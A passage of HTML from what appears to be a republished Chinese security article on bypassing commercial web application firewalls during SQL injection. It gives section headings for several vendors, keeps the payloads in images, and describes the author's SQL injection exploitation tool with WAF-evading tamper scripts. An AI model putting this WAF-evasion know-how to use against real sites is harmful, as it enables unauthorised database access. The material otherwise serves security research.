&#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">这一小节是部分WAF绕过PAYLOAD，本来计划是完全分享，但是为了避免不必要的麻烦，删除了部分厂商的绕过PAYLOAD方法大致类似。每种绕过PAYLOAD里面都包含了多个tricks，这里不一一详解各位看官细细琢磨品尝。</code></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2.3.1 CloudFlare绕过</strong></h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">cloudflare使用MSSQL PAYLOAD进行测试</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.211306765523633" style="display: inline;" data-type="png" data-w="2158" src="https://wechat2rss.xlab.app/img-proxy/?k=b0db83d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQwHBwQez3EibGWaibK0k9MaeUibUma9zpNg7V2VicsJI0dfhj4nFsRmzMew%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">UNION SELECT 绕过</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.41458333333333336" data-s="300,640" style="" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=4811e260&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQLOMBicNuPXgXXUuU4pKiaoZJPTAYurfV5cqCH0kiah1YWa1BtKoElVnQg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">SELECT FROM 绕过</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.3052721088435374" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="2352" src="https://wechat2rss.xlab.app/img-proxy/?k=91002c13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ1qEQa6smlLAHBZHQwqM6CUicGEXEaicULic7kZ08ZGtT6eicKzedzUNsTQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">MYSQL 报错注入绕过</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.29732868757259" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1722" src="https://wechat2rss.xlab.app/img-proxy/?k=2b7c65ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQTd4oicI33ia1ulk6lxMqFGCdc9kUEA4jvicGyZzicH7jJJ5bm4nIxHVicicw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.32464825429911415" data-s="300,640" style="" data-type="png" data-w="1919" src="https://wechat2rss.xlab.app/img-proxy/?k=389b384f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQdVeibzO0V2hCwoiaBFmO7qMhjylnpeV5XiapMtwpvkaB2GHHLHBNctuPQ%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;caret-color: rgb(68, 68, 68);">2.3.2 安全狗绕过</span></strong><br/></p><p><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;caret-color: rgb(68, 68, 68);"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5181159420289855" data-s="300,640" style="" data-type="png" data-w="552" src="https://wechat2rss.xlab.app/img-proxy/?k=1c7e2b62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQlKcvMicbfXSFBpoSajqGEcxMMKyu0tyMic05nyf3MdHNeUicb7G5v5f5w%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2.3.3 云锁绕过</strong><br/></h3><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3684627575277338" data-s="300,640" style="" data-type="png" data-w="1262" src="https://wechat2rss.xlab.app/img-proxy/?k=cc91881d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQW8eKJe3XyQwJsicAXEs9Xk6ARaswtvXibsRud3b96mwwjIIibunIy7Iqg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><strong><span style="font-size: 16px;">2.3.4 阿里云绕过</span></strong><span style="font-size: 16px;"></span><br/><span style="font-size: 16px;"></span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">这里只公布部分BYPASS PATYLOAD，完整出数据的PAYLOAD暂不公布，感兴趣的可以根据文章中的思路和方法进行尝试，相信各位师傅也是可以做得到的。</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.6953125" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1536" src="https://wechat2rss.xlab.app/img-proxy/?k=4ce4798d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQwnreXG7iaFj3XUY20ZS0mg560HczMsYHxfEn5V4aj1K4PXic2NPN0Yjw%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2.4 利用</strong></h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">做事情讲求个有始有终，在渗透一个目标的时候最终的要求当然是能够利用发现的漏洞拿到权限。假如目标站点存在一个SQL注入漏洞，但是由于WAF的存在漏洞利用并不能成功，经过研究现在看来WAF已经不是最大的障碍，不过距利用成功尚且有一段距离。</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">对于存在WAF场景下的SQL注入漏洞利用，要么单独编写脚本dump数据要么编写SQLMAP Tamper利用SQLMAP dump数据，这两种方式都可以达到我们的目标，但是都有不好的弊端，对于经常打ctf的人来说感受应该更加明显。由于不同WAF的绕过PAYLOAD各不相同，所以单独编写脚本这种利用方式很明显通用性不强，其实里面的好多代码可以单独分离出来重复使用；对于简单的BYPASS PAYLOAD，编写SQLMAP Tamper不是太难，而使用了SQL各种特性、trick的复杂BYPASS PAYLOD，编写SQLMAP Tamper 就显的过于复杂。出于以上原因笔者使用python编写了一款SQL注入漏洞利用工具，参数使用方法和SQLMAP基本相同，每种利用方法单独编写一个类，各个利用类的成员函数基本相同，整个PAYLOAD 由BOUDARY和QUERY两部分组成，成员函数get_payload调用tamper脚本里面的tamper函数对boundary和query单独处理，tamper脚本编写简单方便灵活。工具各个参数基本和SQLMAP相同，详细说明请参考开发文档。</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="1.3424878836833603" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1238" src="https://wechat2rss.xlab.app/img-proxy/?k=e2c1a27c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQUibictGibTYkvMMveYFoWwZBnzNDIGr6fJOfkEwypzC9vNjOXfTTsITMA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.25" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1264" src="https://wechat2rss.xlab.app/img-proxy/?k=57e6a14e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQpETVX2vvA7cZwRg0oVJf1riaRIVxQVeanYSD8dXEQNeuZ3KLJjT63jQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.9186046511627907" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="688" src="https://wechat2rss.xlab.app/img-proxy/?k=f3fd8587&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQXJs1rqFmhbg0mwFZhPtmJm8rOaRvcA8gbMl7RdA5HXnEsC2ibbMib5ZQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.3241626794258373" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px 289px;display: block;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1672" src="https://wechat2rss.xlab.app/img-proxy/?k=3ba4364a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQR2QbdQ48qQ8iaQNqv3rpjdEOwq1MWsMBTgfX2KqvI5kicLkaGfiaCa5Cw%2F640%3Fwx_fmt%3Dpng"/><img data-ratio="0.3241626794258373" data-w="1672" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e4e72795&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQzBXalLfRuXeia2wjcsctJPYoPic5ick5oNoTNejxsnpyWnBwUVPFhibvEw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">Tamper样例：</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.5565476190476191" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1344" src="https://wechat2rss.xlab.app/img-proxy/?k=d69924d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQCS9nEabhfKibU8edOSfMVVibTDicVujicsywyibezRUg5HiaPMwItKVpKOTQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">工具tamper目录附带了安全狗和云锁绕过mysql tamper。<br/>开发文档：<br/><a href="https://github.com/ggg4566/SQLEXP" target="_blank">https://github.com/ggg4566/SQLEXP</a><br/><a href="https://forum.90sec.com/t/topic/993" target="_blank">https://forum.90sec.com/t/topic/993</a></p><h1 style="font-size: 2em;margin-top: 0.67em;margin-bottom: 0.67em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>3 结语</strong></h1><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">以上大部分研究成果都产出于去年七八月份，在写本文的时候大部分payload任然有效，相信在不久的未来这些payload也会被加入黑名单，不过只要掌握了绕过思路和方法，写出你自己独有的绕过也是迟早的事情。本文花费了笔者大量的时间和精力，增删修改了多次，希望这篇文章不仅仅是一篇WAF绕过系列的专题文章，而是能够给大家带来研究学习的方向，比如软件WAF的逆向技术(C\C++\C#)、WIN32 HOOK技术、SQL功能特性的FUZZ和研究、SQL注入漏洞利用方法以及脚本自动化等，每一个方面都值得深入研究学习，有些内容大可不必花费笔墨。对于SQL的各种功能特性笔者并没有花费篇幅一一详解，一是有些功能特性笔者也搞不懂；二来篇幅有限同时觉得也没有必要，大部分功能特性tricks都融合在文中的payload里面，希望各位读者能够结合实际场景细细琢磨领会。笔者文笔粗浅，文章有所疏漏在所难免还请指正担待。</code></p><h1 style="font-size: 2em;margin-top: 0.67em;margin-bottom: 0.67em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>4 参考</strong></h1><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><a href="https://xz.aliyun.com/t/368" target="_blank">https://xz.aliyun.com/t/368</a><br/><a href="https://klionsec.github.io/2017/07/31/bypasswaf-on-database/" target="_blank">https://klionsec.github.io/2017/07/31/bypasswaf-on-database/</a></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><br/></p><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-top: 5px;padding-right: 10px;padding-bottom: 5px;border-width: 0px;border-style: none;border-color: initial;color: rgb(51, 51, 51);line-height: 24px;font-size: 14px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;font-family: 微软雅黑;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(12, 137, 24);box-sizing: border-box !important;overflow-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px;margin-bottom: 5px;padding: 5px 10px;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;line-height: 24px;border-width: 0px;border-style: initial;border-color: initial;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">本文由<strong style="color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;letter-spacing: 0.544px;white-space: normal;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">团队成</span></strong></span></strong><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">员flystart@M</span></strong><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">S509原创，已于2020-5-25发表于“先知社区”，转载请注明来源</span></strong></p><section style="max-width: 100%;box-sizing: 